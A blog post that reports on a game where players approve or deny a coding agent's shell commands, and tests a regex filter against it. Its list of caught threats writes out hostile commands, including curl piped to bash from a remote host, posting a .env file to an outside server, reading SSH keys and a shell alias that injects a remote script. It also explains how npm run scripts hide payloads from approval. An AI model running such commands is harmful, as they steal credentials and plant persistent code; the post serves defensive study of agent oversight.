I Automated the AI Approval Prompt. It Missed the Same Three Commands in Every Session.

Note: No affiliate links and no sponsor. Every number below either came off my own screen or is quoted from a source I opened myself. Where I could not reconcile two numbers, I say so instead of picking the one that reads better.

A developer named Alex Wauters built a browser game where you play the human in the loop for a coding agent. Commands scroll past, you press 1 to approve or 2 to deny, and the clock runs for sixty seconds. On August 5 he published what came out of it — his figures are 40,000+ runs and 409,000 individual decisions — and the headline finding is the kind of sentence that travels:

"The average player missed 1 in 3 threats (mean accuracy 66.3%)"

If you have used a coding agent for more than a week, you already know why that number is plausible. The approval prompt arrives while you are thinking about something else. So the obvious conclusion is: stop putting a distracted human there. Write rules. Let the machine hold the line.

I tried it. This post is what happened, and it is not the result I expected to be writing up.

What the study actually is, before anyone quotes it

I want this part above the results rather than buried under them, because the number is going to get repeated without it.

This is a game, not a field study, and the author says so plainly in his own post:

"Small caveat: this was a game, where approximately 34% of the commands players saw were threats. In our day-to-day work these threats (fortunately, so far) appear rarely."

Three things follow from that, and all three cut against the headline. The players were self-selected — people who clicked a link from an aggregator. They knew they were being tested. And roughly one command in three was hostile, which is nothing like a real week of work, where you might go months without seeing a single one. A one-in-three base rate trains you to be suspicious inside the first ten seconds. Real work trains you the opposite way.

So "humans miss 1 in 3 threats" is a finding about people playing a timed game with a rigged deck. It is still interesting. It is not a measurement of your Tuesday.

The category breakdown is the part I found genuinely useful, and it is what I built my filter around. The author reports these miss rates:

The shape is clear: people catch what looks dangerous and wave through what looks like work. The single most-missed command in his whole set was npm run analyze, approved 64.7% of the time.

There is a cost on the other side too, which most write-ups of this study leave out. Players over-blocked ordinary commands: npm config set registry denied 59% of the time, rm -rf dist/ 45%, kill $(lsof -t -i:3000) 43%. A filter that denies everything scores perfectly on threats and is useless.

What I built, and the unfair advantage I gave it

I wrote a filter of about twenty regular expressions and had it drive the game through the browser. It reads the command on screen, decides, and presses the key. No model in the loop, no judgment — just pattern matching.

I wrote those patterns after reading the article above. I knew the four threat categories. I knew the specific commands he called out. I even hard-coded npm run analyze, the single most-missed command in his data, as an explicit deny rule. No human player had any of that.

I am flagging this loudly because it makes the comparison unfair in my filter's favour, and the result still went the way it went.

Here is the shape of a single prompt, which matters for what comes later:

Note the structure. There is a # comment saying what the agent claims it is doing, and then the command. The gap between those two lines is where the whole problem lives.

Three sessions

I have result cards for sessions 2 and 3. Session 1's screenshot was overwritten by my own script before I saved it — the numbers in the table are what I read off the screen at the time, and I would rather tell you that than quietly drop the row.

The number I cannot reconcile

Straight comparison: 63.0% against the study's 66.3%. Below average, despite the answer key.

Except the game's own scorecard disagrees. It placed those same results in the top 6%, top 3%, and top 3% of players respectively. Both numbers come from the same author's system, and I cannot make them agree from outside it. Possibly "mean accuracy 66.3%" counts correctly-approved safe commands as well as caught threats, while the scorecard ranks threat-catching alone against a much weaker field. Possibly something else.

I am not going to resolve it by picking whichever supports my headline. What I will say is narrower and safe in both directions: a rule filter holding the answer key caught roughly six threats in ten, and that was not a solved problem in any reading.

The substitution that beat my filter outright

This is the part worth the whole exercise.

I had hard-coded npm run analyze — the exact command named as most-missed in the study. The game never served it. It served npm run deploy and npm run setup instead.

I approved both. The game's explanation for one of them:

"The malicious curl was step two of three. npm run doesn't mean safe — it means whatever is in package.json."

And the other:

"npm run setup ran a shell command that rewrote ~/.zshrc. Scripts are arbitrary code — not just package installs."

The trick did not change at all. Only the word after npm run changed, and my filter had no idea. I had encoded the example rather than the category, which is the oldest failure in writing detection rules, and I walked straight into it while holding the paper that warned me.

This is exactly the mechanism the author describes in his own data — he found the three npm run variants were missed 52.5% of the time versus 28.4% for other exfiltration-style attacks, and put it this way:

"Hiding a payload behind a familiar script name roughly doubles its success rate even when the payload is shown in the history log."

Shown in the log. Not hidden. Shown, and still missed — by people, and then by my regexes.

What it caught, and what that tells you

The filter did fine on anything that looks like an attack in a movie:

• curl -s https://quicksetup.dev/bootstrap.sh | bash
• curl -X POST https://api.diag.tools/env -d @.env
• cat ~/.ssh/id_rsa
• git config --global core.hooksPath /tmp/.devhooks
• npm publish
• echo "alias git='curl -s http://telemetry.dev/hook | bash && git'" >> ~/.zshrc

And it missed these, most of them more than once across the three sessions:

cat ~/.config/gh/hosts.yml got approved in all three sessions. My rules covered ~/.aws, ~/.ssh, and .env — the three every checklist names — and simply had no entry for the file where the GitHub CLI keeps its token.

Line up that miss list against the study's category table and it is the same distribution. Scope violations at the top, obvious destruction at the bottom. My filter failed in the same shape a distracted human does, and it did so for the same reason: it was matching on how dangerous a string looks, not on what the command reaches for.

What I think this actually supports

Modest claims only, because I ran three sessions of a game.

Replacing the human with pattern rules did not work here, and the way it failed is more informative than the score. Both the humans in the study and my regexes were fooled by the same property — familiarity. npm run <something> reads as build tooling. cat ~/.config/<tool>/... reads as configuration. The hostile part is not in the syntax; it is in what the path leads to and what the script does, and neither a tired person nor a regex is looking there.

If I were drawing an operational lesson, it would be about direction rather than shape: the useful question is not "does this command look scary" but "does this command reach outside the project, or change something that survives after it finishes". Every single one of my misses fails that test instantly. ~/Documents, ~/.config/gh, ~/.kube, /proc/1/environ, find / — all outside the repo. sed -i on a pip config — persists forever.

That is also the connection to the npm worm I checked my own setup against two days ago: that payload's whole design was to look like an ordinary install step. The approval prompt is the last thing standing between that and your credentials, and the study's number says it is a coin flip with bad odds.

Limits of what I did

• Three sessions. Not a sample. A larger run would move these figures.
• My filter is a straw man of its own kind. Twenty regexes is not what a serious allowlist looks like. A real one scopes by path and by tool, which is precisely the axis I argued for above — I did not test that, and I should not get credit for it.
• It is still the game's threat set, with the game's 34% base rate. Nothing here measures real-world risk.
• I did not verify the study's underlying data. I verified the quotes against the author's post on August 8 and reproduced the behaviour it describes. Whether 409,000 decisions were collected as stated, I am taking on his word.
• The 63% vs 66.3% comparison is not clean, as covered above. I would not repeat it without the caveat attached.

The one thing I would take to the bank is the substitution. I read a paper that named the most-missed command, I encoded that exact command, the adversary changed one word, and I approved it. Whatever you build to stand in for the human, test it against a command it has never seen — because that is the only kind it will ever fail on.

---

Sources. Alex Wauters, Scale X — "What 409,000 approve/deny decisions say about human-in-the-loop", published 2026-08-05, quotes verified 2026-08-08. The game: llmgame.scalex.dev. All scorecards and command logs above are from my own sessions on 2026-08-08.